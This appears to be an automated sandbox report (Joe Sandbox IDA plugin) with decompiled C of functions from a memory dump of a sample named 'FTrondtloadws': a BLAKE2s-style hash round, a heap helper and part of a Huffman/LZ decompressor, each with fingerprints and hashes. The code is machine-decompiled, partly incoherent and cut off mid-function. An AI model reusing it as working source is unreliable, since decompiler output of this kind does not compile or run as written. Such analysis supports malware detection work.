Part of subcall function 00CCC3D7: __EH_prolog.LIBCMT ref: 00CCC3DC

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prologVersion
String ID:
API String ID: 1836448879-0
Opcode ID: 8c8549cd0db5ab4e8b98f8f86eba2a2e39e76625d6c79c6e52b6a0f52173e48b
Instruction ID: ded69ad49d71090e39fe91047aa42925f49092ed66b7c19d0bd6930fab1a8a3b
Opcode Fuzzy Hash: 8c8549cd0db5ab4e8b98f8f86eba2a2e39e76625d6c79c6e52b6a0f52173e48b
Instruction Fuzzy Hash: CAF082348053C88ADF24DB60F88ABD43BE84711309F0880C9D55C962A2C7B58789DF76

Uniqueness

Uniqueness Score: -1.00%

Function 00CC4A6E Relevance: 1.5, Strings: 1, Instructions: 276
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E00CC4A6E() {
				signed int* _t187;
				void* _t190;
				signed int _t200;
				signed int _t201;
				signed int _t202;
				signed int _t208;
				signed int _t209;
				signed int _t210;
				signed int _t216;
				signed int _t217;
				signed int _t224;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t239;
				signed int _t240;
				signed int _t245;
				signed int _t246;
				signed int _t253;
				signed int _t254;
				signed int _t256;
				signed int _t258;
				intOrPtr _t259;
				signed int _t260;
				signed int _t262;
				signed int _t263;
				signed int _t265;
				signed int _t266;
				signed int _t272;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t280;
				signed int _t283;
				signed int _t286;
				signed int _t289;
				signed int _t292;
				intOrPtr _t295;
				signed int _t297;
				signed int _t299;
				signed int _t301;
				signed int _t303;
				signed int _t305;
				signed int _t306;
				signed int _t308;
				signed int _t310;
				void* _t311;
				signed int _t320;
				signed int _t323;
				signed int _t326;
				signed int _t328;
				intOrPtr _t329;
				signed int _t331;
				signed int _t332;
				intOrPtr _t335;
				signed int _t337;
				signed int _t339;
				signed int _t342;
				signed int _t344;
				signed int _t345;
				signed int _t347;
				signed int _t348;
				intOrPtr _t349;
				intOrPtr _t350;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				intOrPtr _t355;
				signed int _t356;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				void* _t362;
				void* _t363;
				void* _t364;

				_t295 =  *((intOrPtr*)(_t362 + 0xd0));
				_t187 =  *(_t295 + 0xf8);
				_t258 =  *_t187 ^ 0x510e527f;
				_t352 = _t187[1] ^ 0x9b05688c;
				_t266 = 0x10;
				memcpy(_t362 + 0xa0,  *(_t362 + 0xe0), _t266 << 2);
				_t363 = _t362 + 0xc;
				_push(8);
				_t190 = memcpy(_t363 + 0x5c,  *(_t295 + 0xf4), 0 << 2);
				_t364 = _t363 + 0xc;
				 *(_t364 + 0x20) =  *_t190 ^ 0x1f83d9ab;
				_t272 =  *(_t364 + 0x6c);
				_t335 = 0;
				 *(_t364 + 0x28) =  *(_t190 + 4) ^ 0x5be0cd19;
				 *(_t364 + 0x1c) =  *(_t364 + 0x78);
				 *(_t364 + 0x38) =  *(_t364 + 0x74);
				 *(_t364 + 0x18) = 0x6a09e667;
				 *(_t364 + 0x24) = 0xbb67ae85;
				 *(_t364 + 0x2c) = 0x3c6ef372;
				 *(_t364 + 0x34) = 0xa54ff53a;
				 *((intOrPtr*)(_t364 + 0x14)) = 0;
				 *(_t364 + 0x30) =  *(_t364 + 0x70);
				 *(_t364 + 0x10) = _t272;
				do {
					_t27 = _t335 + 0xcf4718; // 0x3020100
					_t31 = _t364 + 0x18; // 0x6a09e667
					_t320 =  *((intOrPtr*)(_t364 + 0x9c + ( *_t27 & 0x000000ff) * 4)) + _t272 +  *(_t364 + 0x5c);
					_t297 = _t320 ^ _t258;
					_t259 =  *((intOrPtr*)(_t364 + 0x14));
					asm("rol edx, 0x10");
					_t274 =  *_t31 + _t297;
					_t337 = _t274 ^  *(_t364 + 0x10);
					asm("ror esi, 0xc");
					_t200 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t259 + 0xcf4719) & 0x000000ff) * 4)) + _t337 + _t320;
					 *(_t364 + 0x18) = _t200;
					_t201 = _t200 ^ _t297;
					asm("ror eax, 0x8");
					 *(_t364 + 0x3c) = _t201;
					_t202 = _t201 + _t274;
					 *(_t364 + 0x48) = _t202;
					asm("ror eax, 0x7");
					 *(_t364 + 0x50) = _t202 ^ _t337;
					_t323 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t259 + 0xcf471a) & 0x000000ff) * 4)) +  *(_t364 + 0x30) +  *(_t364 + 0x60);
					_t299 = _t323 ^ _t352;
					_t353 =  *(_t364 + 0x38);
					asm("rol edx, 0x10");
					_t276 =  *(_t364 + 0x24) + _t299;
					_t339 = _t276 ^  *(_t364 + 0x30);
					asm("ror esi, 0xc");
					_t208 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t259 + 0xcf471b) & 0x000000ff) * 4)) + _t339 + _t323;
					 *(_t364 + 0x10) = _t208;
					_t209 = _t208 ^ _t299;
					asm("ror eax, 0x8");
					 *(_t364 + 0x44) = _t209;
					_t210 = _t209 + _t276;
					 *(_t364 + 0x58) = _t210;
					asm("ror eax, 0x7");
					 *(_t364 + 0x24) = _t210 ^ _t339;
					_t342 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t259 + 0xcf471c) & 0x000000ff) * 4)) + _t353 +  *(_t364 + 0x64);
					_t301 = _t342 ^  *(_t364 + 0x20);
					asm("rol edx, 0x10");
					_t278 =  *(_t364 + 0x2c) + _t301;
					_t354 = _t353 ^ _t278;
					asm("ror ebp, 0xc");
					_t216 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t259 + 0xcf471d) & 0x000000ff) * 4)) + _t354 + _t342;
					 *(_t364 + 0x40) = _t216;
					_t217 = _t216 ^ _t301;
					asm("ror eax, 0x8");
					 *(_t364 + 0x54) = _t217;
					_t260 = _t217 + _t278;
					_t355 =  *((intOrPtr*)(_t364 + 0x14));
					asm("ror eax, 0x7");
					 *(_t364 + 0x20) = _t260 ^ _t354;
					_t326 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t355 + 0xcf471e) & 0x000000ff) * 4)) +  *(_t364 + 0x1c) +  *(_t364 + 0x68);
					_t303 = _t326 ^  *(_t364 + 0x28);
					asm("rol edx, 0x10");
					_t280 =  *(_t364 + 0x34) + _t303;
					_t344 = _t280 ^  *(_t364 + 0x1c);
					asm("ror esi, 0xc");
					_t224 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t355 + 0xcf471f) & 0x000000ff) * 4)) + _t344 + _t326;
					 *(_t364 + 0x4c) = _t224;
					_t328 = _t224 ^ _t303;
					asm("ror edi, 0x8");
					_t356 = _t328 + _t280;
					asm("ror eax, 0x7");
					 *(_t364 + 0x1c) = _t356 ^ _t344;
					_t98 = _t364 + 0x18; // 0x6a09e667
					_t283 =  *((intOrPtr*)(_t364 + 0x9c + ( *( *((intOrPtr*)(_t364 + 0x14)) + 0xcf4720) & 0x000000ff) * 4)) +  *(_t364 + 0x24) +  *_t98;
					_t305 = _t283 ^ _t328;
					_t329 =  *((intOrPtr*)(_t364 + 0x14));
					asm("rol edx, 0x10");
					_t345 = _t305 + _t260;
					_t262 = _t345 ^  *(_t364 + 0x24);
					asm("ror ebx, 0xc");
					_t232 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t329 + 0xcf4721) & 0x000000ff) * 4)) + _t262 + _t283;
					 *(_t364 + 0x5c) = _t232;
					_t233 = _t232 ^ _t305;
					asm("ror eax, 0x8");
					 *(_t364 + 0x28) = _t233;
					 *(_t364 + 0x98) = _t233;
					_t234 = _t233 + _t345;
					_t263 = _t262 ^ _t234;
					 *(_t364 + 0x2c) = _t234;
					 *(_t364 + 0x84) = _t234;
					asm("ror ebx, 0x7");
					 *(_t364 + 0x30) = _t263;
					 *(_t364 + 0x70) = _t263;
					_t286 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t329 + 0xcf4722) & 0x000000ff) * 4)) +  *(_t364 + 0x20) +  *(_t364 + 0x10);
					_t265 = _t286 ^  *(_t364 + 0x3c);
					asm("rol ebx, 0x10");
					_t306 = _t265 + _t356;
					_t358 = _t306 ^  *(_t364 + 0x20);
					asm("ror ebp, 0xc");
					_t239 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t329 + 0xcf4723) & 0x000000ff) * 4)) + _t358 + _t286;
					_t258 = _t265 ^ _t239;
					 *(_t364 + 0x60) = _t239;
					asm("ror ebx, 0x8");
					_t240 = _t306 + _t258;
					_t359 = _t358 ^ _t240;
					 *(_t364 + 0x34) = _t240;
					 *(_t364 + 0x88) = _t240;
					asm("ror ebp, 0x7");
					 *(_t364 + 0x38) = _t359;
					 *(_t364 + 0x74) = _t359;
					_t289 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t329 + 0xcf4724) & 0x000000ff) * 4)) +  *(_t364 + 0x1c) +  *(_t364 + 0x40);
					_t361 = _t289 ^  *(_t364 + 0x44);
					asm("rol ebp, 0x10");
					_t308 =  *(_t364 + 0x48) + _t361;
					_t347 = _t308 ^  *(_t364 + 0x1c);
					asm("ror esi, 0xc");
					_t245 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t329 + 0xcf4725) & 0x000000ff) * 4)) + _t347 + _t289;
					_t352 = _t361 ^ _t245;
					 *(_t364 + 0x64) = _t245;
					asm("ror ebp, 0x8");
					_t246 = _t308 + _t352;
					_t348 = _t347 ^ _t246;
					 *(_t364 + 0x18) = _t246;
					 *(_t364 + 0x7c) = _t246;
					asm("ror esi, 0x7");
					 *(_t364 + 0x1c) = _t348;
					 *(_t364 + 0x78) = _t348;
					_t292 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t329 + 0xcf4726) & 0x000000ff) * 4)) +  *(_t364 + 0x4c) +  *(_t364 + 0x50);
					_t349 =  *((intOrPtr*)(_t364 + 0x14));
					_t331 = _t292 ^  *(_t364 + 0x54);
					asm("rol edi, 0x10");
					_t310 =  *(_t364 + 0x58) + _t331;
					asm("ror eax, 0xc");
					 *(_t364 + 0x10) = _t310 ^  *(_t364 + 0x50);
					_t335 = _t349 + 0x10;
					 *((intOrPtr*)(_t364 + 0x14)) = _t335;
					_t253 =  *((intOrPtr*)(_t364 + 0x9c + ( *(_t349 + 0xcf4727) & 0x000000ff) * 4)) +  *(_t364 + 0x10) + _t292;
					_t332 = _t331 ^ _t253;
					 *(_t364 + 0x68) = _t253;
					asm("ror edi, 0x8");
					 *(_t364 + 0x20) = _t332;
					 *(_t364 + 0x94) = _t332;
					_t254 = _t310 + _t332;
					_t272 =  *(_t364 + 0x10) ^ _t254;
					 *(_t364 + 0x24) = _t254;
					asm("ror ecx, 0x7");
					 *(_t364 + 0x80) = _t254;
					 *(_t364 + 0x10) = _t272;
					 *(_t364 + 0x6c) = _t272;
				} while (_t335 <= 0x90);
				_t350 =  *((intOrPtr*)(_t364 + 0xe0));
				_t311 = 0;
				 *(_t364 + 0x8c) = _t258;
				 *(_t364 + 0x90) = _t352;
				do {
					_t256 =  *(_t364 + _t311 + 0x7c) ^  *(_t364 + _t311 + 0x5c);
					 *(_t311 +  *((intOrPtr*)(_t350 + 0xf4))) =  *(_t311 +  *((intOrPtr*)(_t350 + 0xf4))) ^ _t256;
					_t311 = _t311 + 4;
				} while (_t311 < 0x20);
				return _t256;
			}

0x00cc4a74
0x00cc4a7e
0x00cc4a9a
0x00cc4aa6
0x00cc4aac
0x00cc4aad
0x00cc4aad
0x00cc4ab9
0x00cc4abc
0x00cc4abc
0x00cc4ace
0x00cc4ad2
0x00cc4ad6
0x00cc4ad8
0x00cc4ae0
0x00cc4ae8
0x00cc4af0
0x00cc4af8
0x00cc4b00
0x00cc4b08
0x00cc4b10
0x00cc4b14
0x00cc4b18
0x00cc4b1c
0x00cc4b1c
0x00cc4b2c
0x00cc4b30
0x00cc4b36
0x00cc4b38
0x00cc4b3c
0x00cc4b3f
0x00cc4b43
0x00cc4b4e
0x00cc4b5a
0x00cc4b5c
0x00cc4b60
0x00cc4b62
0x00cc4b65
0x00cc4b69
0x00cc4b6b
0x00cc4b71
0x00cc4b74
0x00cc4b8e
0x00cc4b9b
0x00cc4b9d
0x00cc4ba1
0x00cc4ba4
0x00cc4baf
0x00cc4bb3
0x00cc4bb8
0x00cc4bba
0x00cc4bbe
0x00cc4bc0
0x00cc4bc3
0x00cc4bc7
0x00cc4bc9
0x00cc4bd3
0x00cc4bd6
0x00cc4bf1
0x00cc4bf7
0x00cc4c02
0x00cc4c05
0x00cc4c07
0x00cc4c09
0x00cc4c0e
0x00cc4c10
0x00cc4c14
0x00cc4c16
0x00cc4c19
0x00cc4c1d
0x00cc4c24
0x00cc4c28
0x00cc4c2b
0x00cc4c41
0x00cc4c4e
0x00cc4c56
0x00cc4c60
0x00cc4c64
0x00cc4c68
0x00cc4c6d
0x00cc4c71
0x00cc4c75
0x00cc4c77
0x00cc4c7a
0x00cc4c81
0x00cc4c84
0x00cc4c9e
0x00cc4c9e
0x00cc4ca4
0x00cc4ca6
0x00cc4caa
0x00cc4cb4
0x00cc4cb9
0x00cc4cc4
0x00cc4cc9
0x00cc4ccb
0x00cc4ccf
0x00cc4cd1
0x00cc4cd4
0x00cc4cd8
0x00cc4cdf
0x00cc4ce1
0x00cc4ce3
0x00cc4ce7
0x00cc4cf5
0x00cc4cf8
0x00cc4cfc
0x00cc4d0b
0x00cc4d18
0x00cc4d1c
0x00cc4d26
0x00cc4d2b
0x00cc4d2f
0x00cc4d34
0x00cc4d36
0x00cc4d38
0x00cc4d3c
0x00cc4d3f
0x00cc4d42
0x00cc4d44
0x00cc4d48
0x00cc4d56
0x00cc4d59
0x00cc4d5d
0x00cc4d6c
0x00cc4d72
0x00cc4d81
0x00cc4d84
0x00cc4d8f
0x00cc4d93
0x00cc4d98
0x00cc4d9a
0x00cc4d9c
0x00cc4da0
0x00cc4da3
0x00cc4daa
0x00cc4dac
0x00cc4db0
0x00cc4dbb
0x00cc4dbe
0x00cc4dc2
0x00cc4dd1
0x00cc4dd5
0x00cc4ddb
0x00cc4ddf
0x00cc4de2
0x00cc4dea
0x00cc4ded
0x00cc4df8
0x00cc4dfb
0x00cc4e0a
0x00cc4e10
0x00cc4e12
0x00cc4e16
0x00cc4e19
0x00cc4e1d
0x00cc4e24
0x00cc4e27
0x00cc4e29
0x00cc4e2d
0x00cc4e30
0x00cc4e37
0x00cc4e3b
0x00cc4e3f
0x00cc4e4b
0x00cc4e52
0x00cc4e54
0x00cc4e5b
0x00cc4e62
0x00cc4e6c
0x00cc4e70
0x00cc4e73
0x00cc4e76
0x00cc4e85

Strings

gj, xrefs: 00CC4B2C

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: a42a54537be783d5e1c3ed3ef2c110deea511dbaa6f06926fe0f7d27f96f9594
Instruction ID: 756709b9248e069afd7df95bbacfb6dfd22690c4bf392b44c229c6c9d2c2692e
Opcode Fuzzy Hash: a42a54537be783d5e1c3ed3ef2c110deea511dbaa6f06926fe0f7d27f96f9594
Instruction Fuzzy Hash: 24C128B2A183418FC754CF29D88065BFBE1BFC9208F19892EE998D7301D734A945CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00CED040 Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CED040() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0xd24714 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x00ced040
0x00ced048
0x00ced050

APIs

GetProcessHeap.KERNEL32 ref: 00CED040

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: d1206cb955e17368c39920ebbae296e6270d5b0a97bba181e6036ac23c45a6c1
Instruction ID: e53e9dc26069bafe7497bd5cc99cfdb761ca9a89ba29c89d1d3de56e4aabf391
Opcode Fuzzy Hash: d1206cb955e17368c39920ebbae296e6270d5b0a97bba181e6036ac23c45a6c1
Instruction Fuzzy Hash: 1EA02430101300CF43004F305F4430D37D4D5511C03054034D40CC1130D73040D0D753

Uniqueness

Uniqueness Score: -1.00%

Function 00CD73FE Relevance: .8, Instructions: 807
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00CD73FE(intOrPtr __esi) {
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t322;
				signed short _t323;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				signed int _t328;
				signed int _t329;
				signed int _t330;
				void* _t332;
				signed int _t333;
				signed int _t334;
				intOrPtr _t336;
				signed int _t345;
				signed int _t346;
				signed int _t349;
				char _t358;
				void* _t362;
				signed int _t363;
				signed int _t364;
				intOrPtr _t366;
				signed int _t376;
				char _t385;
				unsigned int _t386;
				void* _t394;
				intOrPtr _t395;
				signed int _t398;
				char _t407;
				signed int _t409;
				intOrPtr _t410;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				signed int _t415;
				signed int _t417;
				signed int _t418;
				signed short _t419;
				signed int _t420;
				signed int _t424;
				unsigned int _t428;
				signed int _t431;
				signed int _t432;
				signed int _t433;
				signed int _t436;
				signed int _t437;
				signed short _t438;
				unsigned int _t442;
				unsigned int _t447;
				signed int _t461;
				signed int _t463;
				signed int _t464;
				signed int _t468;
				intOrPtr* _t470;
				signed int _t471;
				signed int _t472;
				intOrPtr* _t473;
				signed int _t477;
				signed int _t478;
				signed int* _t484;
				intOrPtr _t485;
				unsigned int _t488;
				void* _t490;
				signed int _t493;
				signed int* _t495;
				unsigned int _t498;
				void* _t500;
				signed int _t503;
				signed int _t505;
				signed int _t509;
				signed int _t512;
				signed int _t515;
				void* _t517;
				signed int _t520;
				signed int _t521;
				intOrPtr* _t523;
				void* _t524;
				signed int _t527;
				signed int _t529;
				signed int _t531;
				unsigned int _t538;
				void* _t540;
				signed int _t543;
				void* _t546;
				signed int _t549;
				signed int _t552;
				signed int _t554;
				void* _t556;
				signed int _t559;
				intOrPtr* _t561;
				void* _t562;
				signed int _t565;
				void* _t568;
				signed int _t571;
				intOrPtr* _t574;
				void* _t575;
				signed int _t578;
				void* _t581;
				signed int _t584;
				signed int _t585;
				intOrPtr* _t590;
				void* _t591;
				signed int _t594;
				unsigned int _t601;
				signed int _t604;
				unsigned int _t606;
				signed int _t609;
				signed int _t612;
				signed int _t615;
				void* _t618;
				signed int _t619;
				unsigned int _t622;
				unsigned int _t627;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				intOrPtr* _t633;
				signed int _t634;
				signed int _t635;
				signed int _t636;
				unsigned int _t640;
				signed int _t642;
				intOrPtr _t646;
				signed int _t647;
				signed int _t648;
				signed int _t649;
				intOrPtr* _t651;
				char* _t652;
				char* _t653;
				signed int _t657;
				void* _t659;
				void* _t662;

				L0:
				while(1) {
					L0:
					_t646 = __esi;
					_t484 = __esi + 0x70;
					while(1) {
						L1:
						 *_t484 =  *_t484 &  *(_t646 + 0xe6c8);
						if( *_t651 <  *((intOrPtr*)(_t646 + 0x7c))) {
							goto L11;
						} else {
							_t470 = _t646 + 0x80;
						}
						while(1) {
							L3:
							_t662 =  *_t651 -  *_t470 - 1 +  *((intOrPtr*)(_t646 + 0x88));
							if(_t662 <= 0 && (_t662 != 0 ||  *((intOrPtr*)(_t646 + 8)) <  *((intOrPtr*)(_t646 + 0x84)))) {
								break;
							}
							L6:
							if( *((char*)(_t646 + 0x90)) != 0) {
								L97:
								_t410 = E00CD6389(_t646);
								L98:
								return _t410;
							}
							L7:
							_push(_t470);
							_push(_t651);
							_t410 = E00CD4FE1(_t646);
							if(_t410 == 0) {
								goto L98;
							}
							L8:
							_push(_t646 + 0x94);
							_push(_t470);
							_push(_t651);
							_t410 = E00CD5580(_t646);
							if(_t410 != 0) {
								continue;
							} else {
								goto L98;
							}
						}
						L10:
						_t461 = E00CD5FF4(_t646);
						__eflags = _t461;
						if(_t461 == 0) {
							goto L97;
						}
						L11:
						_t485 =  *((intOrPtr*)(_t646 + 0x4b30));
						_t633 = _t646 + 0x70;
						__eflags = (_t485 -  *_t633 &  *(_t646 + 0xe6c8)) - 0x1004;
						if(__eflags > 0) {
							L17:
							_t317 = E00CCBC76(_t651, __eflags);
							_t318 =  *(_t646 + 0x118);
							_t601 = _t317 & 0x0000fffe;
							__eflags = _t601 -  *((intOrPtr*)(_t646 + 0x98 + _t318 * 4));
							if(_t601 >=  *((intOrPtr*)(_t646 + 0x98 + _t318 * 4))) {
								L19:
								_t634 = 0xf;
								_t319 = _t318 + 1;
								__eflags = _t319 - _t634;
								if(_t319 >= _t634) {
									L25:
									_t488 =  *(_t651 + 4) + _t634;
									 *(_t651 + 4) = _t488 & 0x00000007;
									_t321 = _t488 >> 3;
									 *_t651 =  *_t651 + _t321;
									_t490 = 0x10;
									_t633 = _t646 + 0x70;
									_t493 =  *((intOrPtr*)(_t646 + 0xd8 + _t634 * 4)) + (_t601 -  *((intOrPtr*)(_t646 + 0x94 + _t634 * 4)) >> _t490 - _t634);
									__eflags = _t493 -  *((intOrPtr*)(_t646 + 0x94));
									asm("sbb eax, eax");
									_t322 = _t321 & _t493;
									__eflags = _t322;
									_t323 =  *(_t646 + 0xd1c + _t322 * 2) & 0x0000ffff;
									goto L26;
								} else {
									_t590 = _t646 + (_t319 + 0x26) * 4;
									while(1) {
										L21:
										__eflags = _t601 -  *_t590;
										if(_t601 <  *_t590) {
											_t634 = _t319;
											goto L25;
										}
										L22:
										_t319 = _t319 + 1;
										_t590 = _t590 + 4;
										__eflags = _t319 - 0xf;
										if(_t319 < 0xf) {
											continue;
										} else {
											goto L25;
										}
									}
									goto L25;
								}
							} else {
								_t591 = 0x10;
								_t632 = _t601 >> _t591 - _t318;
								_t594 = ( *(_t632 + _t646 + 0x11c) & 0x000000ff) +  *(_t651 + 4);
								 *_t651 =  *_t651 + (_t594 >> 3);
								 *(_t651 + 4) = _t594 & 0x00000007;
								_t323 =  *(_t646 + 0x51c + _t632 * 2) & 0x0000ffff;
								L26:
								_t463 = _t323 & 0x0000ffff;
								__eflags = _t463 - 0x100;
								if(_t463 >= 0x100) {
									L30:
									__eflags = _t463 - 0x106;
									if(_t463 < 0x106) {
										L94:
										__eflags = _t463 - 0x100;
										if(_t463 != 0x100) {
											L100:
											__eflags = _t463 - 0x101;
											if(_t463 != 0x101) {
												L125:
												_t464 = _t463 + 0xfffffefe;
												__eflags = _t464;
												_t495 = _t646 + (_t464 + 0x15) * 4;
												_t604 =  *_t495;
												 *(_t659 + 0x18) = _t604;
												if(__eflags == 0) {
													L127:
													 *(_t646 + 0x54) = _t604;
													_t324 = E00CCBC76(_t651, __eflags);
													_t325 =  *(_t646 + 0x2ddc);
													_t606 = _t324 & 0x0000fffe;
													__eflags = _t606 -  *((intOrPtr*)(_t646 + 0x2d5c + _t325 * 4));
													if(_t606 >=  *((intOrPtr*)(_t646 + 0x2d5c + _t325 * 4))) {
														L129:
														_t635 = 0xf;
														_t326 = _t325 + 1;
														__eflags = _t326 - _t635;
														if(_t326 >= _t635) {
															L135:
															_t498 =  *(_t651 + 4) + _t635;
															 *(_t651 + 4) = _t498 & 0x00000007;
															_t328 = _t498 >> 3;
															 *_t651 =  *_t651 + _t328;
															_t500 = 0x10;
															_t503 =  *((intOrPtr*)(_t646 + 0x2d9c + _t635 * 4)) + (_t606 -  *((intOrPtr*)(_t646 + 0x2d58 + _t635 * 4)) >> _t500 - _t635);
															__eflags = _t503 -  *((intOrPtr*)(_t646 + 0x2d58));
															asm("sbb eax, eax");
															_t329 = _t328 & _t503;
															__eflags = _t329;
															_t330 =  *(_t646 + 0x39e0 + _t329 * 2) & 0x0000ffff;
															L136:
															_t636 = _t330 & 0x0000ffff;
															__eflags = _t636 - 8;
															if(_t636 >= 8) {
																_t464 = (_t636 >> 2) - 1;
																_t640 = ((_t636 & 0x00000003 | 0x00000004) << _t464) + 2;
																__eflags = _t464;
																if(__eflags != 0) {
																	_t386 = E00CCBC76(_t651, __eflags);
																	_t517 = 0x10;
																	_t640 = _t640 + (_t386 >> _t517 - _t464);
																	_t520 =  *(_t651 + 4) + _t464;
																	 *_t651 =  *_t651 + (_t520 >> 3);
																	_t521 = _t520 & 0x00000007;
																	__eflags = _t521;
																	 *(_t651 + 4) = _t521;
																}
															} else {
																_t640 = _t636 + 2;
															}
															__eflags =  *((char*)(_t646 + 0x4c38));
															_t505 =  *(_t659 + 0x18);
															 *(_t646 + 0x68) = _t640;
															if( *((char*)(_t646 + 0x4c38)) == 0) {
																L142:
																_t609 =  *(_t646 + 0x70);
																_t468 = _t609 - _t505;
																_t332 =  *((intOrPtr*)(_t646 + 0xe6c4)) + 0xffffeffc;
																__eflags = _t468 - _t332;
																if(_t468 >= _t332) {
																	L152:
																	_t484 = _t646 + 0x70;
																	__eflags = _t640;
																	if(_t640 == 0) {
																		continue;
																		do {
																			while(1) {
																				L1:
																				 *_t484 =  *_t484 &  *(_t646 + 0xe6c8);
																				if( *_t651 <  *((intOrPtr*)(_t646 + 0x7c))) {
																					goto L11;
																				} else {
																					_t470 = _t646 + 0x80;
																				}
																				goto L3;
																			}
																			L90:
																			_t484 = _t646 + 0x70;
																			__eflags = _t640;
																		} while (_t640 == 0);
																		_t363 =  *(_t646 + 0xe6c8);
																		_t472 =  *(_t659 + 0x18);
																		do {
																			L92:
																			_t364 = _t363 & _t472;
																			_t472 = _t472 + 1;
																			 *((char*)( *((intOrPtr*)(_t646 + 0x4b34)) + _t615)) =  *((intOrPtr*)(_t364 +  *((intOrPtr*)(_t646 + 0x4b34))));
																			_t484 = _t646 + 0x70;
																			_t363 =  *(_t646 + 0xe6c8);
																			_t615 =  *_t484 + 0x00000001 & _t363;
																			 *_t484 = _t615;
																			_t640 = _t640 - 1;
																			__eflags = _t640;
																		} while (_t640 != 0);
																		continue;
																		do {
																			while(1) {
																				L1:
																				 *_t484 =  *_t484 &  *(_t646 + 0xe6c8);
																				if( *_t651 <  *((intOrPtr*)(_t646 + 0x7c))) {
																					goto L11;
																				} else {
																					_t470 = _t646 + 0x80;
																				}
																				goto L3;
																			}
																			goto L152;
																		} while (_t640 == 0);
																	}
																	L153:
																	_t333 =  *(_t646 + 0xe6c8);
																	do {
																		L154:
																		_t334 = _t333 & _t468;
																		_t468 = _t468 + 1;
																		 *((char*)( *((intOrPtr*)(_t646 + 0x4b34)) + _t609)) =  *((intOrPtr*)(_t334 +  *((intOrPtr*)(_t646 + 0x4b34))));
																		_t484 = _t646 + 0x70;
																		_t333 =  *(_t646 + 0xe6c8);
																		_t609 =  *_t484 + 0x00000001 & _t333;
																		 *_t484 = _t609;
																		_t640 = _t640 - 1;
																		__eflags = _t640;
																	} while (_t640 != 0);
																	continue;
																}
																L143:
																__eflags = _t609 - _t332;
																if(_t609 >= _t332) {
																	goto L152;
																}
																L144:
																_t336 =  *((intOrPtr*)(_t646 + 0x4b34));
																_t471 = _t468 + _t336;
																_t652 = _t609 + _t336;
																_t612 = 8;
																 *(_t646 + 0x70) = _t609 + _t640;
																__eflags = _t640 - _t612;
																if(_t640 < _t612) {
																	L114:
																	_t484 = _t646 + 0x70;
																	__eflags = _t640;
																	if(_t640 == 0) {
																		L89:
																		_t651 = _t646 + 4;
																		L1:
																		 *_t484 =  *_t484 &  *(_t646 + 0xe6c8);
